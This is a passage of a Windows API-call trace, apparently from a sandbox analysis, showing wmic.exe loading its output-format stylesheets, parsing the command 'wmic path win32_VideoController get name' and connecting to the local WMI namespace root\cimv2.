(in: This=0x20abd50, attributeMap=0x20f318 | out: attributeMap=0x20f318*=0x20a78d0) returned 0x0 [0150.676] malloc (_Size=0x18) returned 0x15c600 [0150.677] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20a78d0, name="KEYWORD", namedItem=0x20f328 | out: namedItem=0x20f328*=0x20aa280) returned 0x0 [0150.677] free (_Block=0x15c600) [0150.677] IXMLDOMNode:get_nodeValue (in: This=0x20aa280, value=0x20f360 | out: value=0x20f360*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformat.xsl", varVal2=0x4)) returned 0x0 [0150.677] malloc (_Size=0x18) returned 0x15c600 [0150.677] malloc (_Size=0x18) returned 0x15c620 [0150.677] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0150.677] SysStringLen (param_1="TABLE") returned 0x5 [0150.677] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0150.677] SysStringLen (param_1="XML") returned 0x3 [0150.677] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0150.677] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0150.677] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0150.678] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0150.678] malloc (_Size=0x30) returned 0x158380 [0150.678] IUnknown:Release (This=0x20abd50) returned 0x0 [0150.678] IUnknown:Release (This=0x20a78d0) returned 0x0 [0150.678] IUnknown:Release (This=0x20aa280) returned 0x0 [0150.678] IXMLDOMNodeList:get_item (in: This=0x20a9cc0, index=12, listItem=0x20f310 | out: listItem=0x20f310*=0x20abd50) returned 0x0 [0150.678] IXMLDOMNode:get_text (in: This=0x20abd50, text=0x20f320 | out: text=0x20f320*="texttable.xsl") returned 0x0 [0150.678] IXMLDOMNode:get_attributes (in: This=0x20abd50, attributeMap=0x20f318 | out: attributeMap=0x20f318*=0x20a78d0) returned 0x0 [0150.678] malloc (_Size=0x18) returned 0x15c640 [0150.678] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20a78d0, name="KEYWORD", namedItem=0x20f328 | out: namedItem=0x20f328*=0x20aa280) returned 0x0 [0150.678] free (_Block=0x15c640) [0150.679] IXMLDOMNode:get_nodeValue (in: This=0x20aa280, value=0x20f360 | out: value=0x20f360*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformat", varVal2=0x4)) returned 0x0 [0150.679] malloc (_Size=0x18) returned 0x15c640 [0150.679] malloc (_Size=0x18) returned 0x15c660 [0150.679] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0150.679] SysStringLen (param_1="TABLE") returned 0x5 [0150.679] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0150.679] SysStringLen (param_1="XML") returned 0x3 [0150.679] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0150.679] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0150.679] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0150.679] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0150.679] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0150.679] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0150.679] malloc (_Size=0x30) returned 0x1583c0 [0150.680] IUnknown:Release (This=0x20abd50) returned 0x0 [0150.680] IUnknown:Release (This=0x20a78d0) returned 0x0 [0150.680] IUnknown:Release (This=0x20aa280) returned 0x0 [0150.680] IXMLDOMNodeList:get_item (in: This=0x20a9cc0, index=13, listItem=0x20f310 | out: listItem=0x20f310*=0x20abd50) returned 0x0 [0150.680] IXMLDOMNode:get_text (in: This=0x20abd50, text=0x20f320 | out: text=0x20f320*="texttable.xsl") returned 0x0 [0150.680] IXMLDOMNode:get_attributes (in: This=0x20abd50, attributeMap=0x20f318 | out: attributeMap=0x20f318*=0x20a78d0) returned 0x0 [0150.680] malloc (_Size=0x18) returned 0x15c680 [0150.680] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20a78d0, name="KEYWORD", namedItem=0x20f328 | out: namedItem=0x20f328*=0x20aa280) returned 0x0 [0150.680] free (_Block=0x15c680) [0150.680] IXMLDOMNode:get_nodeValue (in: This=0x20aa280, value=0x20f360 | out: value=0x20f360*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformatnosys.xsl", varVal2=0x4)) returned 0x0 [0150.680] malloc (_Size=0x18) returned 0x15c680 [0150.681] malloc (_Size=0x18) returned 0x15c6a0 [0150.681] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0150.681] SysStringLen (param_1="TABLE") returned 0x5 [0150.681] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0150.681] SysStringLen (param_1="XML") returned 0x3 [0150.681] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0150.681] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0150.681] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0150.681] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0150.681] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0150.681] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0150.681] malloc (_Size=0x30) returned 0x158400 [0150.681] IUnknown:Release (This=0x20abd50) returned 0x0 [0150.681] IUnknown:Release (This=0x20a78d0) returned 0x0 [0150.682] IUnknown:Release (This=0x20aa280) returned 0x0 [0150.682] IXMLDOMNodeList:get_item (in: This=0x20a9cc0, index=14, listItem=0x20f310 | out: listItem=0x20f310*=0x20abd50) returned 0x0 [0150.682] IXMLDOMNode:get_text (in: This=0x20abd50, text=0x20f320 | out: text=0x20f320*="texttable.xsl") returned 0x0 [0150.682] IXMLDOMNode:get_attributes (in: This=0x20abd50, attributeMap=0x20f318 | out: attributeMap=0x20f318*=0x20a78d0) returned 0x0 [0150.682] malloc (_Size=0x18) returned 0x15c6c0 [0150.682] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20a78d0, name="KEYWORD", namedItem=0x20f328 | out: namedItem=0x20f328*=0x20aa280) returned 0x0 [0150.683] free (_Block=0x15c6c0) [0150.683] IXMLDOMNode:get_nodeValue (in: This=0x20aa280, value=0x20f360 | out: value=0x20f360*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformatnosys", varVal2=0x4)) returned 0x0 [0150.683] malloc (_Size=0x18) returned 0x15c6c0 [0150.684] malloc (_Size=0x18) returned 0x15c6e0 [0150.684] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0150.684] SysStringLen (param_1="TABLE") returned 0x5 [0150.684] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0150.684] SysStringLen (param_1="XML") returned 0x3 [0150.684] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0150.684] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0150.684] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0150.684] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0150.684] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0150.684] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0150.684] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0150.684] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0150.684] malloc (_Size=0x30) returned 0x158440 [0150.685] IUnknown:Release (This=0x20abd50) returned 0x0 [0150.685] IUnknown:Release (This=0x20a78d0) returned 0x0 [0150.685] IUnknown:Release (This=0x20aa280) returned 0x0 [0150.685] IXMLDOMNodeList:get_item (in: This=0x20a9cc0, index=15, listItem=0x20f310 | out: listItem=0x20f310*=0x20abd50) returned 0x0 [0150.685] IXMLDOMNode:get_text (in: This=0x20abd50, text=0x20f320 | out: text=0x20f320*="htable.xsl") returned 0x0 [0150.685] IXMLDOMNode:get_attributes (in: This=0x20abd50, attributeMap=0x20f318 | out: attributeMap=0x20f318*=0x20a78d0) returned 0x0 [0150.685] malloc (_Size=0x18) returned 0x15c700 [0150.685] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20a78d0, name="KEYWORD", namedItem=0x20f328 | out: namedItem=0x20f328*=0x20aa280) returned 0x0 [0150.685] free (_Block=0x15c700) [0150.685] IXMLDOMNode:get_nodeValue (in: This=0x20aa280, value=0x20f360 | out: value=0x20f360*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="htable-sortby.xsl", varVal2=0x4)) returned 0x0 [0150.685] malloc (_Size=0x18) returned 0x15c700 [0150.686] malloc (_Size=0x18) returned 0x15c720 [0150.686] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0150.686] SysStringLen (param_1="TABLE") returned 0x5 [0150.686] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0150.686] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0150.686] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0150.686] SysStringLen (param_1="XML") returned 0x3 [0150.686] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0150.686] SysStringLen (param_1="texttablewsys") returned 0xd [0150.686] SysStringLen (param_1="XML") returned 0x3 [0150.686] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0150.686] malloc (_Size=0x30) returned 0x158480 [0150.686] IUnknown:Release (This=0x20abd50) returned 0x0 [0150.686] IUnknown:Release (This=0x20a78d0) returned 0x0 [0150.686] IUnknown:Release (This=0x20aa280) returned 0x0 [0150.686] IXMLDOMNodeList:get_item (in: This=0x20a9cc0, index=16, listItem=0x20f310 | out: listItem=0x20f310*=0x20abd50) returned 0x0 [0150.687] IXMLDOMNode:get_text (in: This=0x20abd50, text=0x20f320 | out: text=0x20f320*="htable.xsl") returned 0x0 [0150.687] IXMLDOMNode:get_attributes (in: This=0x20abd50, attributeMap=0x20f318 | out: attributeMap=0x20f318*=0x20a78d0) returned 0x0 [0150.687] malloc (_Size=0x18) returned 0x15c740 [0150.687] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20a78d0, name="KEYWORD", namedItem=0x20f328 | out: namedItem=0x20f328*=0x20aa280) returned 0x0 [0150.687] free (_Block=0x15c740) [0150.687] IXMLDOMNode:get_nodeValue (in: This=0x20aa280, value=0x20f360 | out: value=0x20f360*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="htable-sortby", varVal2=0x4)) returned 0x0 [0150.687] malloc (_Size=0x18) returned 0x15c740 [0150.687] malloc (_Size=0x18) returned 0x15c760 [0150.687] SysStringLen (param_1="htable-sortby") returned 0xd [0150.687] SysStringLen (param_1="TABLE") returned 0x5 [0150.687] SysStringLen (param_1="htable-sortby") returned 0xd [0150.688] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0150.688] SysStringLen (param_1="htable-sortby") returned 0xd [0150.688] SysStringLen (param_1="XML") returned 0x3 [0150.688] SysStringLen (param_1="htable-sortby") returned 0xd [0150.688] SysStringLen (param_1="texttablewsys") returned 0xd [0150.688] SysStringLen (param_1="htable-sortby") returned 0xd [0150.688] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0150.688] SysStringLen (param_1="XML") returned 0x3 [0150.688] SysStringLen (param_1="htable-sortby") returned 0xd [0150.688] malloc (_Size=0x30) returned 0x1584c0 [0150.688] IUnknown:Release (This=0x20abd50) returned 0x0 [0150.688] IUnknown:Release (This=0x20a78d0) returned 0x0 [0150.688] IUnknown:Release (This=0x20aa280) returned 0x0 [0150.688] IXMLDOMNodeList:get_item (in: This=0x20a9cc0, index=17, listItem=0x20f310 | out: listItem=0x20f310*=0x20abd50) returned 0x0 [0150.689] IXMLDOMNode:get_text (in: This=0x20abd50, text=0x20f320 | out: text=0x20f320*="mof.xsl") returned 0x0 [0150.689] IXMLDOMNode:get_attributes (in: This=0x20abd50, attributeMap=0x20f318 | out: attributeMap=0x20f318*=0x20a78d0) returned 0x0 [0150.689] malloc (_Size=0x18) returned 0x15c780 [0150.689] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20a78d0, name="KEYWORD", namedItem=0x20f328 | out: namedItem=0x20f328*=0x20aa280) returned 0x0 [0150.689] free (_Block=0x15c780) [0150.689] IXMLDOMNode:get_nodeValue (in: This=0x20aa280, value=0x20f360 | out: value=0x20f360*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclimofformat.xsl", varVal2=0x4)) returned 0x0 [0150.689] malloc (_Size=0x18) returned 0x15c780 [0150.689] malloc (_Size=0x18) returned 0x15c7a0 [0150.689] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0150.689] SysStringLen (param_1="TABLE") returned 0x5 [0150.690] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0150.690] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0150.690] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0150.690] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0150.690] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0150.690] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0150.690] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0150.690] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0150.690] malloc (_Size=0x30) returned 0x158500 [0150.690] IUnknown:Release (This=0x20abd50) returned 0x0 [0150.690] IUnknown:Release (This=0x20a78d0) returned 0x0 [0150.690] IUnknown:Release (This=0x20aa280) returned 0x0 [0150.690] IXMLDOMNodeList:get_item (in: This=0x20a9cc0, index=18, listItem=0x20f310 | out: listItem=0x20f310*=0x20abd50) returned 0x0 [0150.690] IXMLDOMNode:get_text (in: This=0x20abd50, text=0x20f320 | out: text=0x20f320*="mof.xsl") returned 0x0 [0150.690] IXMLDOMNode:get_attributes (in: This=0x20abd50, attributeMap=0x20f318 | out: attributeMap=0x20f318*=0x20a78d0) returned 0x0 [0150.691] malloc (_Size=0x18) returned 0x15c7c0 [0150.691] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20a78d0, name="KEYWORD", namedItem=0x20f328 | out: namedItem=0x20f328*=0x20aa280) returned 0x0 [0150.691] free (_Block=0x15c7c0) [0150.691] IXMLDOMNode:get_nodeValue (in: This=0x20aa280, value=0x20f360 | out: value=0x20f360*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclimofformat", varVal2=0x4)) returned 0x0 [0150.691] malloc (_Size=0x18) returned 0x15c7c0 [0150.691] malloc (_Size=0x18) returned 0x15c7e0 [0150.691] SysStringLen (param_1="wmiclimofformat") returned 0xf [0150.691] SysStringLen (param_1="TABLE") returned 0x5 [0150.691] SysStringLen (param_1="wmiclimofformat") returned 0xf [0150.691] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0150.691] SysStringLen (param_1="wmiclimofformat") returned 0xf [0150.692] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0150.692] SysStringLen (param_1="wmiclimofformat") returned 0xf [0150.692] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0150.692] SysStringLen (param_1="wmiclimofformat") returned 0xf [0150.692] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0150.692] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0150.692] SysStringLen (param_1="wmiclimofformat") returned 0xf [0150.692] malloc (_Size=0x30) returned 0x158540 [0150.692] IUnknown:Release (This=0x20abd50) returned 0x0 [0150.692] IUnknown:Release (This=0x20a78d0) returned 0x0 [0150.692] IUnknown:Release (This=0x20aa280) returned 0x0 [0150.692] IXMLDOMNodeList:get_item (in: This=0x20a9cc0, index=19, listItem=0x20f310 | out: listItem=0x20f310*=0x20abd50) returned 0x0 [0150.692] IXMLDOMNode:get_text (in: This=0x20abd50, text=0x20f320 | out: text=0x20f320*="textvaluelist.xsl") returned 0x0 [0150.692] IXMLDOMNode:get_attributes (in: This=0x20abd50, attributeMap=0x20f318 | out: attributeMap=0x20f318*=0x20a78d0) returned 0x0 [0150.692] malloc (_Size=0x18) returned 0x15c800 [0150.693] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20a78d0, name="KEYWORD", namedItem=0x20f328 | out: namedItem=0x20f328*=0x20aa280) returned 0x0 [0150.693] free (_Block=0x15c800) [0150.693] IXMLDOMNode:get_nodeValue (in: This=0x20aa280, value=0x20f360 | out: value=0x20f360*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclivalueformat.xsl", varVal2=0x4)) returned 0x0 [0150.693] malloc (_Size=0x18) returned 0x15c800 [0150.693] malloc (_Size=0x18) returned 0x15c820 [0150.693] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0150.693] SysStringLen (param_1="TABLE") returned 0x5 [0150.693] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0150.693] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0150.693] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0150.694] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0150.694] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0150.694] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0150.694] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0150.694] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0150.694] malloc (_Size=0x30) returned 0x158580 [0150.694] IUnknown:Release (This=0x20abd50) returned 0x0 [0150.694] IUnknown:Release (This=0x20a78d0) returned 0x0 [0150.694] IUnknown:Release (This=0x20aa280) returned 0x0 [0150.694] IXMLDOMNodeList:get_item (in: This=0x20a9cc0, index=20, listItem=0x20f310 | out: listItem=0x20f310*=0x20abd50) returned 0x0 [0150.694] IXMLDOMNode:get_text (in: This=0x20abd50, text=0x20f320 | out: text=0x20f320*="textvaluelist.xsl") returned 0x0 [0150.694] IXMLDOMNode:get_attributes (in: This=0x20abd50, attributeMap=0x20f318 | out: attributeMap=0x20f318*=0x20a78d0) returned 0x0 [0150.694] malloc (_Size=0x18) returned 0x15c840 [0150.694] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20a78d0, name="KEYWORD", namedItem=0x20f328 | out: namedItem=0x20f328*=0x20aa280) returned 0x0 [0150.695] free (_Block=0x15c840) [0150.695] IXMLDOMNode:get_nodeValue (in: This=0x20aa280, value=0x20f360 | out: value=0x20f360*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclivalueformat", varVal2=0x4)) returned 0x0 [0150.695] malloc (_Size=0x18) returned 0x15c840 [0150.695] malloc (_Size=0x18) returned 0x15c860 [0150.695] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0150.695] SysStringLen (param_1="TABLE") returned 0x5 [0150.695] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0150.695] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0150.695] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0150.695] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0150.695] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0150.695] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0150.695] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0150.696] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0150.696] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0150.696] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0150.696] malloc (_Size=0x30) returned 0x1585c0 [0150.696] IUnknown:Release (This=0x20abd50) returned 0x0 [0150.696] IUnknown:Release (This=0x20a78d0) returned 0x0 [0150.696] IUnknown:Release (This=0x20aa280) returned 0x0 [0150.696] IUnknown:Release (This=0x20a9cc0) returned 0x0 [0150.696] FreeThreadedDOMDocument:IUnknown:Release (This=0x20abc50) returned 0x1 [0150.696] FreeThreadedDOMDocument:IUnknown:Release (This=0x20a71d0) returned 0x0 [0150.696] free (_Block=0x156d70) [0150.697] GetCommandLineW () returned="wmic path win32_VideoController get name" [0150.697] malloc (_Size=0x60) returned 0x156d30 [0150.697] memcpy_s (in: _Destination=0x156d30, _DestinationSize=0x5e, _Source=0x3e26d6, _SourceSize=0x50 | out: _Destination=0x156d30) returned 0x0 [0150.697] malloc (_Size=0x18) returned 0x15c880 [0150.697] malloc (_Size=0x18) returned 0x15c8a0 [0150.697] malloc (_Size=0x18) returned 0x15c8c0 [0150.697] malloc (_Size=0x18) returned 0x15c8e0 [0150.698] malloc (_Size=0x80) returned 0x15cb50 [0150.698] GetLocalTime (in: lpSystemTime=0x20f4d0 | out: lpSystemTime=0x20f4d0*(wYear=0x7e8, wMonth=0x2, wDayOfWeek=0x2, wDay=0xd, wHour=0x16, wMinute=0x1, wSecond=0x2c, wMilliseconds=0x2ad)) [0150.699] _vsnwprintf (in: _Buffer=0x15cb50, _BufferCount=0x3f, _Format="%.2d-%.2d-%.4dT%.2d:%.2d:%.2d", _ArgList=0x20f428 | out: _Buffer="02-13-2024T22:01:44") returned 19 [0150.701] lstrlenW (lpString=" path win32_VideoController get name") returned 36 [0150.701] malloc (_Size=0x4a) returned 0x156da0 [0150.701] lstrlenW (lpString=" path win32_VideoController get name") returned 36 [0150.701] lstrlenW (lpString=" path win32_VideoController get name") returned 36 [0150.701] malloc (_Size=0x4a) returned 0x15cbe0 [0150.701] lstrlenW (lpString=" path win32_VideoController get name") returned 36 [0150.701] lstrlenW (lpString=" path win32_VideoController get name") returned 36 [0150.701] lstrlenW (lpString=" path win32_VideoController get name") returned 36 [0150.701] malloc (_Size=0xa) returned 0x15c900 [0150.701] lstrlenW (lpString="path") returned 4 [0150.701] _wcsicmp (_String1="path", _String2="\"NULL\"") returned 78 [0150.701] malloc (_Size=0xa) returned 0x15c920 [0150.702] malloc (_Size=0x8) returned 0x156e00 [0150.702] free (_Block=0x0) [0150.702] free (_Block=0x15c900) [0150.702] lstrlenW (lpString=" path win32_VideoController get name") returned 36 [0150.702] malloc (_Size=0x2c) returned 0x158600 [0150.702] lstrlenW (lpString="win32_VideoController") returned 21 [0150.702] _wcsicmp (_String1="win32_VideoController", _String2="\"NULL\"") returned 85 [0150.702] malloc (_Size=0x2c) returned 0x158640 [0150.702] malloc (_Size=0x10) returned 0x15c900 [0150.702] memmove_s (in: _Destination=0x15c900, _DestinationSize=0x8, _Source=0x156e00, _SourceSize=0x8 | out: _Destination=0x15c900) returned 0x0 [0150.702] free (_Block=0x156e00) [0150.702] free (_Block=0x0) [0150.703] free (_Block=0x158600) [0150.703] lstrlenW (lpString=" path win32_VideoController get name") returned 36 [0150.703] malloc (_Size=0x8) returned 0x156e00 [0150.703] lstrlenW (lpString="get") returned 3 [0150.703] _wcsicmp (_String1="get", _String2="\"NULL\"") returned 69 [0150.703] malloc (_Size=0x8) returned 0x15cc40 [0150.703] malloc (_Size=0x18) returned 0x15c940 [0150.703] memmove_s (in: _Destination=0x15c940, _DestinationSize=0x10, _Source=0x15c900, _SourceSize=0x10 | out: _Destination=0x15c940) returned 0x0 [0150.704] free (_Block=0x15c900) [0150.704] free (_Block=0x0) [0150.704] free (_Block=0x156e00) [0150.704] lstrlenW (lpString=" path win32_VideoController get name") returned 36 [0150.704] malloc (_Size=0xa) returned 0x15c900 [0150.704] lstrlenW (lpString="name") returned 4 [0150.704] _wcsicmp (_String1="name", _String2="\"NULL\"") returned 76 [0150.704] malloc (_Size=0xa) returned 0x15c960 [0150.704] malloc (_Size=0x20) returned 0x15cc60 [0150.704] memmove_s (in: _Destination=0x15cc60, _DestinationSize=0x18, _Source=0x15c940, _SourceSize=0x18 | out: _Destination=0x15cc60) returned 0x0 [0150.704] free (_Block=0x15c940) [0150.704] free (_Block=0x0) [0150.704] free (_Block=0x15c900) [0150.705] malloc (_Size=0x20) returned 0x15cc90 [0150.705] lstrlenW (lpString="QUIT") returned 4 [0150.705] lstrlenW (lpString="path") returned 4 [0150.705] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="path", cchCount1=4, lpString2="QUIT", cchCount2=4) returned 1 [0150.705] lstrlenW (lpString="EXIT") returned 4 [0150.705] lstrlenW (lpString="path") returned 4 [0150.705] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="path", cchCount1=4, lpString2="EXIT", cchCount2=4) returned 3 [0150.705] free (_Block=0x15cc90) [0150.706] WbemLocator:IUnknown:AddRef (This=0x40cb90) returned 0x2 [0150.706] malloc (_Size=0x20) returned 0x15cc90 [0150.706] lstrlenW (lpString="/") returned 1 [0150.706] lstrlenW (lpString="path") returned 4 [0150.706] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="path", cchCount1=4, lpString2="/", cchCount2=1) returned 3 [0150.706] lstrlenW (lpString="-") returned 1 [0150.706] lstrlenW (lpString="path") returned 4 [0150.706] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="path", cchCount1=4, lpString2="-", cchCount2=1) returned 3 [0150.706] lstrlenW (lpString="CLASS") returned 5 [0150.706] lstrlenW (lpString="path") returned 4 [0150.707] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="path", cchCount1=4, lpString2="CLASS", cchCount2=5) returned 3 [0150.707] lstrlenW (lpString="PATH") returned 4 [0150.707] lstrlenW (lpString="path") returned 4 [0150.707] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="path", cchCount1=4, lpString2="PATH", cchCount2=4) returned 2 [0150.707] lstrlenW (lpString="/") returned 1 [0150.707] lstrlenW (lpString="win32_VideoController") returned 21 [0150.707] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="win32_VideoController", cchCount1=21, lpString2="/", cchCount2=1) returned 3 [0150.707] lstrlenW (lpString="-") returned 1 [0150.707] lstrlenW (lpString="win32_VideoController") returned 21 [0150.707] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="win32_VideoController", cchCount1=21, lpString2="-", cchCount2=1) returned 3 [0150.707] lstrlenW (lpString="win32_VideoController") returned 21 [0150.707] malloc (_Size=0x2c) returned 0x158600 [0150.707] lstrlenW (lpString="win32_VideoController") returned 21 [0150.708] wcstok (in: _String="win32_VideoController", _Delimiter=".", _Context=0xfff | out: _String="win32_VideoController", _Context=0xfff) returned="win32_VideoController" [0150.708] lstrlenW (lpString="win32_VideoController") returned 21 [0150.708] malloc (_Size=0x2c) returned 0x158680 [0150.708] lstrlenW (lpString="win32_VideoController") returned 21 [0150.708] wcstok (in: _String=0x0, _Delimiter=",", _Context=0xb4cb0 | out: _String=0x0, _Context=0xb4cb0) returned 0x0 [0150.708] lstrlenW (lpString="") returned 0 [0150.708] lstrlenW (lpString="WHERE") returned 5 [0150.708] lstrlenW (lpString="get") returned 3 [0150.708] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="WHERE", cchCount2=5) returned 1 [0150.708] lstrlenW (lpString="/") returned 1 [0150.708] lstrlenW (lpString="get") returned 3 [0150.708] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="/", cchCount2=1) returned 3 [0150.708] lstrlenW (lpString="-") returned 1 [0150.708] lstrlenW (lpString="get") returned 3 [0150.708] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="-", cchCount2=1) returned 3 [0150.709] lstrlenW (lpString="get") returned 3 [0150.709] malloc (_Size=0x8) returned 0x156e00 [0150.709] lstrlenW (lpString="get") returned 3 [0150.709] lstrlenW (lpString="GET") returned 3 [0150.709] lstrlenW (lpString="get") returned 3 [0150.709] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="GET", cchCount2=3) returned 2 [0150.709] lstrlenW (lpString="/") returned 1 [0150.709] lstrlenW (lpString="name") returned 4 [0150.709] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="/", cchCount2=1) returned 3 [0150.709] lstrlenW (lpString="-") returned 1 [0150.709] lstrlenW (lpString="name") returned 4 [0150.710] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="-", cchCount2=1) returned 3 [0150.710] lstrlenW (lpString="name") returned 4 [0150.710] malloc (_Size=0xa) returned 0x15c900 [0150.710] lstrlenW (lpString="name") returned 4 [0150.710] malloc (_Size=0x8) returned 0x15ccc0 [0150.710] ??0CHString@@QEAA@XZ () returned 0x20d008 [0150.710] GetCurrentThreadId () returned 0xfdc [0150.710] lstrlenW (lpString="SET") returned 3 [0150.710] lstrlenW (lpString="get") returned 3 [0150.710] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="SET", cchCount2=3) returned 1 [0150.710] GetCurrentThreadId () returned 0xfdc [0150.710] ??0CHString@@QEAA@XZ () returned 0x20ce08 [0150.710] malloc (_Size=0x8) returned 0x15cce0 [0150.711] malloc (_Size=0x18) returned 0x15c940 [0150.711] malloc (_Size=0x18) returned 0x15c980 [0150.711] WbemLocator:IWbemLocator:ConnectServer (in: This=0x40cb90, strNetworkResource="root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xff252950 | out: ppNamespace=0xff252950*=0x4764c0) returned 0x0 [0150.774] free (_Block=0x15c980) [0150.774] CoSetProxyBlanket (pProxy=0x4764c0, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, 